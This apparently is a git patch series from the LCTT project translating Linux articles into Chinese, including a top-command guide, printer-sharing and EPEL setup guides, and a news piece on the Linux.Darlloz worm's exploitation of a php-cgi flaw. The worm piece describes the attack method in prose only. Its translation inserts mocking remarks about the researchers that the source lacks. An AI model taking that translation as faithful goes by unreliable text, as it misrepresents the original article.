off](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) + +![Memory and swap usage off](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) + +![All three displays off](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) + +#### 2.7 ‘f’: 字段管理 #### + +用于选择你想要显示的字段。用'*'标记的是已选择的。 + +![Managing columns](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) + +‘<’ and ‘>’ +'<'移动已排序的字段到左边，'>'则移动到右边。 + +#### 2.8 ‘R’: 反向排序 #### + +触发反向/常规排序。 + +#### 2.9 ‘c’: 触发命令 #### + +触发显示进程启动时的完整路径和程序名。 + +![Full command path](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) + +#### 2.10 ‘i’: Idle Tasks #### + +触发空闲任务。 + +![Idle task display off](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) + +#### 2.11 ‘V’: 树试图 #### + +触发树视图。 + +![Forest view of tasks](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) + +#### 2.12 ‘Z’: 改变颜色映射 #### + +按下'Z'向用户显示一个top命令的输出颜色可以改变的屏幕。这里有8个任务区域和8种颜色。 + +![Customizing colors](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) + +下面显示的是4中颜色显示的top视图。 + +![Colored display](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) + +#### 2.13 ‘z’: 触发彩色 #### + +触发彩色，即打开或关闭彩色显示。 + +#### 2.14 ‘x’ 或者 ‘y’ #### + +触发高亮：'x'排序字段;'y'运行进程。依赖于你的显示设置，你可能需要让输出彩色画来通知这些高亮。 + +![X and Y highlighted](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) + +#### 2.15 ‘u’: 用户的进程 #### + +显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。 + +![Processes of 'raghu' user](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) + +#### 2.16 ‘n’ or ‘#’: 任务的数量 #### + +设置最大显示的任务数量 + +![Setting number of tasks displayed](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) + +#### 2.17 ‘k’: 结束任务 #### + +top命令中最重要的一个命令。用于发送信号给任务(通常是结束任务)。 + +![Killing a task](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) + +#### 2.18 ‘r’: 重新调整优先级 #### + +重新调整一个任务的调度优先级。 + +### 3. 命令行选项: ### + +大多数这些命令行选项与上面讨论的命令相同。top的输出可以用命令交互操作。但是你可以带参数运行top来设置你想要的。 + +#### 3.1 -b: 批处理模式 #### + +-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。 + +#### 3.2 -c: 命令/程序名 触发: #### + +如上面所讨论到的命令，这个选项会以上次记住的程序/命令显示的状态显示。 + +#### 3.3 -d: 设置延迟间隔 #### + +设置top的显示间隔(以秒计)。比如。 + + $ top -d 1 + +将会以1s的时间间隔启动top + +#### 3.4 -i: 空闲进程触发 #### + +这个选项设置top命令的上一次记住的相反的'i'状态。 + +#### 3.5 -n: 设置迭代数量 #### + +用-n选项，你可以设置top退出前迭代的次数。 + + $ top -n 3 + +将会在3次输出后退出。 + +#### 3.6 -p: 监控特定的PID #### + +你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。 + +#### 3.7 -u or -U: 用户名 或者 UID #### + +可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的。同时只可以使用这其中一个选项。当你试图组合使用这些选项时，你会得到一个错误: + + $ top -p 28453 -u raghu + top: conflicting process selections (U/p/u) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/ + +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From c48e36f1df2131b7ae3ef820d12892d5644a370a Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 2 Dec 2013 12:53:34 +0800 Subject: [PATCH 073/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20by=20cool?= =?UTF-8?q?pigs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Basic Linux Interview Questions and Answers – Part II.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/sources/Basic Linux Interview Questions and Answers – Part II.md b/sources/Basic Linux Interview Questions and Answers – Part II.md index c1a22bea10..315fa6375c 100644 --- a/sources/Basic Linux Interview Questions and Answers – Part II.md +++ b/sources/Basic Linux Interview Questions and Answers – Part II.md @@ -1,3 +1,5 @@ +translated by coolpigs + Basic Linux Interview Questions and Answers – Part II ================================================================================ Continuing the Interview Series, we are giving 10 Questions here, in this article. These questions and the questions in the future articles doesn’t necessarily means they were asked in any interview. We are presenting you an interactive learning platform through these kind of posts, which surely will be helpful. From 93b1b310565f80f2144cf8fb7bd512c7d76d7da5 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Mon, 2 Dec 2013 16:23:42 +0800 Subject: [PATCH 074/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Daily Ubuntu Tips – Print From Shared Windows Printers.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md index 4d88ec21f3..b4e2083172 100644 --- a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md +++ b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -38,7 +38,7 @@ ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png) -好好享受吧！ +好好享受吧！ -------------------------------------------------------------------------------- From c4c77915099e8885273641cb1278e6a1f5a91181 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Mon, 2 Dec 2013 17:13:59 +0800 Subject: [PATCH 075/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ps – Print From Shared Windows Printers.md | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md index b4e2083172..6761159452 100644 --- a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md +++ b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -2,19 +2,19 @@ === 对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户，这篇博文向你展示如何在Windows中共享一个打印机，并允许Ubuntu使用它来打印。 -几乎所有的打印机都默认支持Windows。许多打印机生产商都为Windows生产打印机但是很多却并不为Linux系统生产，包括Ubuntu。所以，假如你有一台支持Windows的打印机，你可以在Windows机器上分享它，然后让其它系统来使用它来打印。 +几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机，但为Linux系统生产的并不多，包括Ubuntu。所以，假如你有一台支持Windows的打印机，你可以在Windows机器上分享它，然后让其它系统来使用它来打印。 在几年之前，我遇到了这个问题，那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。 我在我的Windows机器上安装了打印机驱动，然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好，但是我的Ubuntu却无法使用它来打印，因为打印机并不支持LAN。 -所以，我在Windows上共享该打印机，然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景，你可以按照下面的指导也这样做。 +所以，我在Windows上共享该打印机，然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景，你可以按照下面的指导来操作。 -首先，登入Windows，右击你要共享的打印机，然后点击‘**打印机属性**’ +首先，登入Windows，右击你要共享的打印机，然后点击‘**Printer properties（打印机属性）**’ ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png) -接着，选择“分享”标签页，勾选上‘分享这台打印机’复选框来分享这台打印机。记住共享打印机的名字，因为你要使用这个共享名来连接这台打印机。 +接着，选择“**Sharing（分享）**”标签页，勾选‘**Share this printer（共享这台打印机）**’复选框来共享。记住共享打印机的名字，因为你要使用这个共享名来连接这台打印机。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png) @@ -22,19 +22,19 @@ netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes -接着，登入Ubuntu中，选择顶部面板右边的**齿轮**，然后选择**设置...** +接着，登入Ubuntu中，选择顶部面板右边的**齿轮**，然后选择**系统设置...** -系统设置打开后，选择打印机，然后点击**添加**。当跳出来一个窗口让你选择设备时，选择‘使用SAMBA的Windows打印机’。 +系统设置打开后，选择打印机，然后点击**添加**。当跳出来一个窗口让你选择设备时，选择‘**Windows Printer via SAMBA（使用SAMBA的Windows打印机）**’。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png) -键入Windows电脑的IP地址或者主机名，后面接着键入共享的打印机名。你可能需要键入你的windows验证信息（用户名和密码）。验证后你就可以看到打印机咯，当你完成这些后，就可以点击向前继续下一步咯。 +键入Windows电脑的IP地址或者主机名，后面接着键入共享的打印机名。你可能需要键入你的windows验证信息（用户名和密码）。点击浏览来验证你是否可以看到打印机，当你完成这些后，就可以点击下一步继续。 -接着，选择打印机商标和模型。假如你在列表中看不到和你的打印机相似的模型，选择一个最接近它的然后继续。 +接着，选择打印机品牌和型号。假如你在列表中看不到特定的型号，选择一个最接近它的然后继续。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png) -以上这些都搞定了之后，你的打印机就安装好咯，可以使用了。 +以上这些都搞定了之后，你的打印机就已安装好，可以使用喽。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png) @@ -44,6 +44,6 @@ via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/ -译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 7eb7777ea12b9c19236ba7f652e8dec25be8b9e7 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Mon, 2 Dec 2013 17:21:00 +0800 Subject: [PATCH 076/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Daily Ubuntu Tips – Print From Shared Windows Printers.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md index 6761159452..65a966b23b 100644 --- a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md +++ b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -14,7 +14,7 @@ ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png) -接着，选择“**Sharing（分享）**”标签页，勾选‘**Share this printer（共享这台打印机）**’复选框来共享。记住共享打印机的名字，因为你要使用这个共享名来连接这台打印机。 +接着，选择“**Sharing（共享）**”标签页，勾选‘**Share this printer（共享这台打印机）**’复选框来共享。记住共享打印机的名字，因为你要使用这个共享名来连接这台打印机。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png) From 8c3909ce81915dced3078b9b19669f71807c2611 Mon Sep 17 00:00:00 2001 From: crowner Date: Mon, 2 Dec 2013 19:59:20 +0800 Subject: [PATCH 077/148] completed --- ...with explanatory user-friendly icon-creation design story.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md index 26a62228b7..7ee02769e9 100644 --- a/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md +++ b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md @@ -16,7 +16,7 @@ via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[rowner](https://github.com/crowner) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From a7df3ed664c202c881fb230358d2bf7b5c235fa0 Mon Sep 17 00:00:00 2001 From: crowner Date: Mon, 2 Dec 2013 20:01:11 +0800 Subject: [PATCH 078/148] completed --- ...th explanatory user-friendly icon-creation design story.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md index 7ee02769e9..6585913bb6 100644 --- a/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md +++ b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md @@ -10,13 +10,13 @@ ![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg) -你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1] +你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。 -------------------------------------------------------------------------------- via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story -译者：[rowner](https://github.com/crowner) 校对：[校对者ID](https://github.com/校对者ID) +译者：[crowner](https://github.com/crowner) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 4af35afb0b2636d6aa20565d3deb2fdf9c790de6 Mon Sep 17 00:00:00 2001 From: crowner Date: Mon, 2 Dec 2013 20:03:13 +0800 Subject: [PATCH 079/148] Delete Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md --- ...ser-friendly icon-creation design story.md | 24 ------------------- 1 file changed, 24 deletions(-) delete mode 100644 sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md diff --git a/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md deleted file mode 100644 index a614868164..0000000000 --- a/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md +++ /dev/null @@ -1,24 +0,0 @@ -trying by crowner -Deepen your creative knowledge with explanatory user-friendly icon-creation design story -================================================================================ -Along with quality, stability and agility, Ubuntu comes paired with a team of experienced designers, designers covering more and more corners of Ubuntu and thus imprinting into the polished OS beautiful areas, optimized behaviors, carefully-implemented interactions, etc. - -The **Ubuntu designer Matthieu "Tiheum" James**,--the creator of Faenza and Faience--, published an interesting article, centering the creation of several icons, insightful article allowing interested users and third-party developers to directly observe how a professional designer creates icons. - -The mentioned icons have been created for Juju as presented in the recent OpenStack Summit in Hong Kong, icons adopting an entertaining nature, meant at meeting the visitors of Ubuntu's stand at the Hong Kong summit, "**we wanted** to replace the normal Juju icons for something a little bit more special in order to explain to people that visited the Ubuntu stand what kind of things Juju can do. We decided to use the idea of an ice-cream with toppings and sauce which you can build in the same way that you can build services in Juju". - -The article exposes the psychological ground on which the actual icon-creation process stood, immersing the reader into an explanatory yet easily-graspable journey through finding good concepts, initial sketching, adding perspectives to icons, using different design approaches, choosing icon backgrounds, refining the icons, etc, essentially, a reader-friendly design story. - -![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg) - -The full article can be enjoyed on [http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1] - --------------------------------------------------------------------------------- - -via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/ \ No newline at end of file From e611ef592c779bfecd5c6bc8c5a23a641527199c Mon Sep 17 00:00:00 2001 From: icybreaker Date: Mon, 2 Dec 2013 20:13:10 +0800 Subject: [PATCH 080/148] translating --- .../Insights into top 3 IT skill groups in highest demand.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sources/Insights into top 3 IT skill groups in highest demand.md b/sources/Insights into top 3 IT skill groups in highest demand.md index e4842bcb5c..feae96977c 100644 --- a/sources/Insights into top 3 IT skill groups in highest demand.md +++ b/sources/Insights into top 3 IT skill groups in highest demand.md @@ -1,3 +1,4 @@ +icybreaker translating Insights into top 3 IT skill groups in highest demand ================================================================================ ![](http://www.linuxcareer.com/images/linux_it_skills_watch.png) @@ -58,4 +59,4 @@ via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest- [1]:http://www.linuxcareer.com/it-skill-sets [2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png -[3]:http://www.r-project.org/ \ No newline at end of file +[3]:http://www.r-project.org/ From 18007783e6411074af431f9581a6bdaa0a986f7e Mon Sep 17 00:00:00 2001 From: whatever1992 <799758730@qq.com> Date: Mon, 2 Dec 2013 20:20:41 +0800 Subject: [PATCH 081/148] translating by whatever1992 --- sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md index b64725a9ff..0142fdb86f 100644 --- a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md +++ b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md @@ -1,3 +1,4 @@ +(translating by whatever1992) Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA ================================================================================ **Question**: How can I install Oracle Java 7 in Elemetary OS Luna? From bdd38686063777c55a10eb486753c909ee836373 Mon Sep 17 00:00:00 2001 From: chenjintao_ii Date: Mon, 2 Dec 2013 20:24:20 +0800 Subject: [PATCH 082/148] [work complete]This new worm targets Linux PCs and embedded devices --- ... targets Linux PCs and embedded devices.md | 40 ------------------- ... targets Linux PCs and embedded devices.md | 39 ++++++++++++++++++ 2 files changed, 39 insertions(+), 40 deletions(-) delete mode 100644 sources/This new worm targets Linux PCs and embedded devices.md create mode 100644 translated/This new worm targets Linux PCs and embedded devices.md diff --git a/sources/This new worm targets Linux PCs and embedded devices.md b/sources/This new worm targets Linux PCs and embedded devices.md deleted file mode 100644 index d35b70a947..0000000000 --- a/sources/This new worm targets Linux PCs and embedded devices.md +++ /dev/null @@ -1,40 +0,0 @@ -[this is bazz2, if you wanna translate this article, no way :P] -This new worm targets Linux PCs and embedded devices -================================================================================ -**The malware spreads by exploiting a 2012 vulnerability in PHP, Symantec researchers said** - -IDG News Service - A new worm is targeting x86 computers running Linux and PHP, and variants may also pose a threat to devices such as home routers and set-top boxes based on other chip architectures. - -According to security researchers from Symantec, the malware spreads by exploiting a vulnerability in php-cgi, a component that allows PHP to run in the Common Gateway Interface (CGI) configuration. The vulnerability is tracked as CVE-2012-1823 and was patched in PHP 5.4.3 and PHP 5.3.13 in May 2012. - -The new worm, which was named Linux.Darlloz, is based on proof-of-concept code released in late October, the Symantec researchers said Wednesday in a [blog post][1]. - -"Upon execution, the worm generates IP [Internet Protocol] addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability," the Symantec researchers explained. "If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target." - -The only variant seen to be spreading so far targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures. - -However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL. - -These architectures are used in embedded devices like home routers, IP cameras, set-top boxes and many others. - -"The attacker is apparently trying to maximize the infection opportunity by expanding coverage to any devices running on Linux," the Symantec researchers said. "However, we have not confirmed attacks against non-PC devices yet." - -The firmware of many embedded devices is based on some type of Linux and includes a Web server with PHP for the Web-based administration interface. These kinds of devices might be easier to compromise than Linux PCs or servers because they don't receive updates very often. - -Patching vulnerabilities in embedded devices has never been an easy task. Many vendors don't issue regular updates and when they do, users are often not properly informed about the security issues fixed in those updates. - -In addition, installing an update on embedded devices requires more work and technical knowledge than updating regular software installed on a computer. Users have to know where the updates are published, download them manually and then upload them to their devices through a Web-based administration interface. - -"Many users may not be aware that they are using vulnerable devices in their homes or offices," the Symantec researchers said. "Another issue we could face is that even if users notice vulnerable devices, no updates have been provided to some products by the vendor, because of outdated technology or hardware limitations, such as not having enough memory or a CPU that is too slow to support new versions of the software." - -To protect their devices from the worm, users are advised to verify if those devices run the latest available firmware version, update the firmware if needed, set up strong administration passwords and block HTTP POST requests to -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4, either from the gateway firewall or on each individual device if possible, the Symantec researchers said. - --------------------------------------------------------------------------------- - -via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices diff --git a/translated/This new worm targets Linux PCs and embedded devices.md b/translated/This new worm targets Linux PCs and embedded devices.md new file mode 100644 index 0000000000..d4676cf316 --- /dev/null +++ b/translated/This new worm targets Linux PCs and embedded devices.md @@ -0,0 +1,39 @@ +新蠕虫能感染 Linux 系统和嵌入式设备！ +================================================================================ +**来自𧶼门铁克研究员的消息，这个病毒通过2012年出现的 PHP 漏洞传播** + +据美国国际数据集团（IDG）的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机，其变种还会对运行在其他芯片架构上的设备（诸如家用路由器和机顶盒）造成威胁。 + +根据𧶼门铁克研究员的介绍，这种病毒利用 php-cgi 上的一个漏洞进行传播，这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口（CGI）的配置环境下被执行。此漏洞的代号为 CVE-2012-1823（通过这个漏洞，攻击者可以远程执行任意代码，所以这个漏洞又叫“程任意代码执行漏洞” —— 译者注）。2012年5月份，PHP 5.4.3 和 PHP 5.3.13 这两个版本被打上补丁，修复了这个漏洞。 + +这个𧶼门铁克的研究员在[博客][1]中写道：这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码（PoC：proof of concept，概念验证。利用目标计算机的漏洞，为对其进行攻击而设计的代码称为 exploit，而一个没有充分利用漏洞的 exploit，就是 PoC —— 译者注）。 + +“在传播过程中，这段蠕虫代码会随机产生 IP 地址，通过特殊途径，利用普通的用户名密码发送 HTTP POST 请求，探测漏洞”，研究员解释道：“如果一个目标没有打上 CVE-2012-1823 的补丁，这台机器就会从病毒服务器下载蠕虫病毒，之后寻找下一个目标。” + +这个唯一的蠕虫变种目前为止只感染了 x86 系统，这是因为这个病毒的二进制格式为 Intel 架构下的 ELF （Executable and Linkable Format）格式。 + +然而这个研究员警告说，黑客也为其他架构开发了病毒，包括 ARM，PPC，MIPS 和 MIPSEL。 + +这些计算机架构主要用于诸如家用路由器、网络监视器、机顶盒以及其他嵌入式设备。 + +“攻击者显然试图在最大范围内感染运行 Linux 的设备”，研究员又说：“然而我们还没有证实他们有没有攻击非 PC 设备。” + +很多嵌入式设备的固件都使用 Linux 作为操作系统，并且使用 PHP 作为 Web 服务管理界面。这些设备比 PC 机 或服务器更容易被攻陷，因为它们不会经常更新软件。 + +在嵌入式设备为一个漏洞打上补丁，从来都不是件容易的事。很多厂商都不会定期公布更新信息，而当他们公布时，用户也不会被告知说这些更新解决了哪些安全问题。 + +并且，在嵌入式设备上更新软件比在计算机上需要更多的工作，以及更多的技术知识。用户需要知道哪些网站能提供这些更新，然后下载下来，通过 Web 界面更新到他们的设备中。 + +“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞，”啰嗦的研究员说：“我们面临的另一个问题是，即使用户注意到他们用的是有漏洞的设备，这些设备的供应商却没有提供补丁，原因是技术落后，或者完全就是硬件的限制：内存不足，或 CPU 太慢，不足以支持这些软件的新版本。” + +“为了保护他们的设备免受蠕虫感染，用户需要确认这些设备是否运行在最新的固件版本上，必要的话，升级固件，设置高强度的管理员密码，在防火墙那儿，或任何独立的设备那儿，屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的𧶼门铁克研究员说道。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 + +译者：[bazz2](https://github.com/bazz2) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices From ddd4395cff2a4af342078283d85199688082c868 Mon Sep 17 00:00:00 2001 From: NearTan Date: Mon, 2 Dec 2013 20:41:35 +0800 Subject: [PATCH 083/148] translated by NearTan --- ... setup EPEL repository on CentOS 5 or 6.md | 96 ----------------- ... setup EPEL repository on CentOS 5 or 6.md | 101 ++++++++++++++++++ 2 files changed, 101 insertions(+), 96 deletions(-) delete mode 100644 sources/How to setup EPEL repository on CentOS 5 or 6.md create mode 100644 translated/How to setup EPEL repository on CentOS 5 or 6.md diff --git a/sources/How to setup EPEL repository on CentOS 5 or 6.md b/sources/How to setup EPEL repository on CentOS 5 or 6.md deleted file mode 100644 index 7308f79ec2..0000000000 --- a/sources/How to setup EPEL repository on CentOS 5 or 6.md +++ /dev/null @@ -1,96 +0,0 @@ - NearTan 选题 -How to setup EPEL repository on CentOS 5/6 -================================================================================ -What is EPEL repository - -EPEL (Extra Packages for Enterprise Linux) is a project from the Fedora group that maintains a repository of software packages that are not already present on RHEL/CentOS. The repository is compatible with RHEL and all close derivates like CentOS and Scientific Linux. - -By using epel we can easily install many packages (around 10,000) with yum command, that are not already present in the centos repositories. EPEL packages are usually based on their Fedora counterparts and will never conflict with or replace packages in the base Enterprise Linux distributions. - -Further details about the epel project are available at - -[https://fedoraproject.org/wiki/EPEL][1] - -So in this tutorial I am going show you how to setup the epel repositories on CentOS - -> Note - There are many different 3rd party repositories that provide software packages for RHEL/CentOS systems. Some of the most popular ones are RpmForge, RpmFusion, EPEL, Remi etc. -> -> However it should be always kept in mind, that if multiple such third party repositories are added to a system, then it can lead of conflicts. The same package can come from multiple repositories, and some repositories can replace base packages of a system leading to unexpected troubles. Rpmforge and Epel are known to have conflicts. -> -> There are advanced techniques to tackle this like setting up priorities, or selectively installing packages from repositories, but ofcourse these require a lot of effort and so if you are not sure about all this, it is recommended to only use 1 such external repository. - -### Install EPEL on CentOS ### - -To setup epel on centos, we need to download the epel installation rpm and install it. -The downloads pages for version 6.x and 5.x of CentOS/RHEL are the following - -[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2] -[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3] - -The above urls would probably redirect to country specific mirrors for faster download. The page would contain a download link to download the rpm directly. The direct download links are - -[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4] -[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5] - -Select the correct url depending on your centos version. -Note that the EPEL installer package is architecture independant, so can be installed on both x86 and x64 systems. - -### 1. Check your CentOS version ### - -First check your centos version with the following command - - $ cat /etc/redhat-release - CentOS release 6.4 (Final) - -### 2. Download EPEL rpm ### - -Now download the epel rpm file for the corresponding centos version from one of the urls given above. - - $ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm - -### 3. Install the EPEL rpm ### - -Now install the epel package with the rpm command - - $ sudo rpm -ivh epel-release-6-8.noarch.rpm - or - $ sudo rpm -ivh epel-release* - -### 5. Check EPEL repository ### - -After installing the epel repository, check that it has been added to the repository list with the yum command - - # yum repolist - Loaded plugins: fastestmirror - Loading mirror speeds from cached hostfile - * base: mirrors.vonline.vn - * epel: buaya.klas.or.id - * extras: centos-hn.viettelidc.com.vn - * updates: mirrors.fibo.vn - repo id repo name status - base CentOS-6 - Base 6,381 - epel Extra Packages for Enterprise Linux 6 - x86_64 10,023 - extras CentOS-6 - Extras 13 - nginx nginx repo 47 - updates CentOS-6 - Updates 1,555 - repolist: 18,019 - -The epel is listed after base repo and provides around 10K packages. So epel is now setup on CentOS. -The epel repository is setup in the **/etc/yum.repos.d/epel.repo** file. - -Now install something from the epel repository - - $ sudo yum install htop - 